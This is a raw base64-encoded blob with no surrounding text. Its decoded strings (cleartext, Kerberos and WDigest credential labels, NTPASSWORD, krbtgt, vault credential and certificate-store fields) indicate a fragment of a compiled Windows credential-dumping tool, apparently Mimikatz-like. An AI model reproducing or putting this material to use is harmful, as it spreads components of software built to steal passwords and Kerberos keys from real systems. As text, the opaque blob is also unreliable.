AAEgAAAAACgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAKYIUCEMAAgAE0EQAF4JcAAUAAgAAEgAAAAACwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAK4JUCEMAAgAEwEQAPIJcAAUAAgAAEgAAAAADAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGAKUCEMAAgAEyEQALwKcAAUAAgAAEgAAAAADQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAEgLUCEMAAgAEyEQAKYLcAAUAAgAAEgAAAAADgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMYLUCEMAAgAEyEQAAAMcAAUAAgAAEgAAAAADwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIABoMUCEMAAgAEyEQAEgMcAAUAAgAAEgAAAAAEAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIMUCEMAAgAEyEQAJAMcAAUAAgAAEgAAAAAEQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIPUCEMAAgAEwEQAMwPcAAUAAgAAEgAAAAAEgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIANARcAAMAAgAAEkAAAAAEwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAPIRUCEMAAgAEyEQAFoScAAUAAgAAEkAAAAAFAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGwWUCEMAAgAEyEQAAYXcAAUAAgAAEgAAAAAFQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIACAXUCEMAAgAEyEQAGwXcAAUAAgAAEgAAAAAFgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIALgXcAAMAAgAAEgAAAAAFwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAOoXUCEMAAgAE0EQADIYcAAUAAg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AIAAgAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAOgAgAAAAAAAKAAAAJQAqAHMAIAAgAHUAbgBrAEYAbABhAGcAcwBPAHIAUwBpAHoAZQAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAFAAZQByAHMAaQBzAHQAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAEEAdAB0AHIAaQBiAHUAdABlAEMAbwB1AG4AdAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAVABhAHIAZwBlAHQATgBhAG0AZQAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAIAAgAFQAYQByAGcAZQB0AEEAbABpAGEAcwAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABDAG8AbQBtAGUAbgB0ACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAVQBuAGsARABhAHQAYQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAIAAgAFUAcwBlAHIATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEIAbABvAGIAIAA6ACAAAAAAACUAdwBaAAAAJQAqAHMAIAAgAEEAdAB0AHIAaQBiAHUAdABlAHMAIAAgACAAIAAgADoAIAAAAAAAJQB1ACAAYQB0AHQAcgBpAGIAdQB0AGUAcwAoAHMAKQAKAAAAJQAqAHMAKgAqAEEAVABUAFIASQBCAFUAVABFACoAKgAKAAAAJQAqAHMAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAlACoAcwAgACAAVgBhAGwAdQBlACAAOgAgAAAAJQAqAHMAKgAqAFYAQQBVAEwAVAAgAFAATwBMAEkAQwBZACoAKgAKAAAAAAAlACoAcwAgACAAdgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHYAYQB1AGwAdAAgACAAIAA6ACAAAAAlACoAcwAgACAATgBhAG0AZQAgACAAIAAgADoAIAAlAHMACgAAAAAAJQAqAHMAIAAgAHUAbgBrADAALwAxAC8AMgA6ACAAJQAwADgAeAAvACUAMAA4AHgALwAlADAAOAB4AAoAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAgAEsARQBZACoAKgAKAAAAAAAlACoAcwAgACAAdQBuAGsAMAAgACAAOgAgAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgADoAIAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABDAFIARQBEAEUATgBUAEkAQQBMACoAKgAKAAAAAAAlACoAcwAgACAAUwBjAGgAZQBtAGEASQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIAB1AG4AawAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAdQBuAGsAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAyACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAARgByAGkAZQBuAGQAbAB5AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQQB0AHQAcgBpAGIAdQB0AGUAcwBNAGEAcABTAGkAegBlACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgACoAIABBAHQAdAByAGkAYgB1AHQAZQAgACUAMwB1ACAAQAAgAG8AZgBmAHMAZQB0ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAgACgAdQBuAGsAIAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAAJQAqAHMAKgAqAFYAQQBVAEwAVAAgAEMAUgBFAEQARQBOAFQASQBBAEwAIABBAFQAVABSAEkAQgBVAFQARQAqACoACgAAAAAAJQAqAHMAIAAgAGkAZAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABJAFYAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAEQAYQB0AGEAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAKgAqAFYAQQBVAEwAVAAgAEMAUgBFAEQARQBOAFQASQBBAEwAIABDAEwARQBBAFIAIABBAFQAVABSAEkAQgBVAFQARQBTACoAKgAKAAAAJQAqAHMAIAAgAHYAZQByAHMAaQBvAG4AOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABjAG8AdQBuAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgACoAIAAAAHIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAA6ACAAAAAAAGkAZABlAG4AdABpAHQAeQAgACAAIAAgACAAIAA6ACAAAAAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAIAA6ACAAAAAAAHAAcgBvAHAAZQByAHQAeQAgACUAMwB1ACAAIAA6ACAAAAAAACUAcwAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBfAEcAUgBPAFUAUABfAFAATwBMAEkAQwBZAAAAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBfAEUATgBUAEUAUgBQAFIASQBTAEUAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBTAEUAUgBWAEkAQwBFAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AVQBTAEUAUgBTAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AUwBFAFIAVgBJAEMARQBTAAAAAABNAFMAXwBEAEUARgBfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBTAFQAUgBPAE4ARwBfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUgBTAEEAIABTAGkAZwBuAGEAdAB1AHIAZQAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAEQAUwBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBFAE4ASABfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEQASAAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABTAG0AYQByAHQAIABDAGEAcgBkACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBFAE4ASABfAFIAUwBBAF8AQQBFAFMAXwBQAFIATwBWAF8AWABQAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAKABQAHIAbwB0AG8AdAB5AHAAZQApAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABQAFIATwBWAF8AUgBTAEEAXwBGAFUATABMAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBJAEcAAAAAAFAAUgBPAFYAXwBEAFMAUwAAAAAAUABSAE8AVgBfAEYATwBSAFQARQBaAFoAQQAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAFAAUgBPAFYAXwBTAFMATAAAAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAAAAUABSAE8AVgBfAEQAUwBTAF8ARABIAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMATgBSAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAAAAAABQAFIATwBWAF8AUwBQAFkAUgBVAFMAXwBMAFkATgBLAFMAAABQAFIATwBWAF8AUgBOAEcAAAAAAFAAUgBPAFYAXwBJAE4AVABFAEwAXwBTAEUAQwAAAAAAUABSAE8AVgBfAFIARQBQAEwAQQBDAEUAXwBPAFcARgAAAAAAUABSAE8AVgBfAFIAUwBBAF8AQQBFAFMAAAAAAEMAQQBMAEcAXwBNAEQAMgAAAAAAQwBBAEwARwBfAE0ARAA0AAAAAABDAEEATABHAF8ATQBEADUAAAAAAEMAQQBMAEcAXwBTAEgAQQAxAAAAQwBBAEwARwBfAE0AQQBDAAAAAABDAEEATABHAF8AUgBTAEEAXwBTAEkARwBOAAAAQwBBAEwA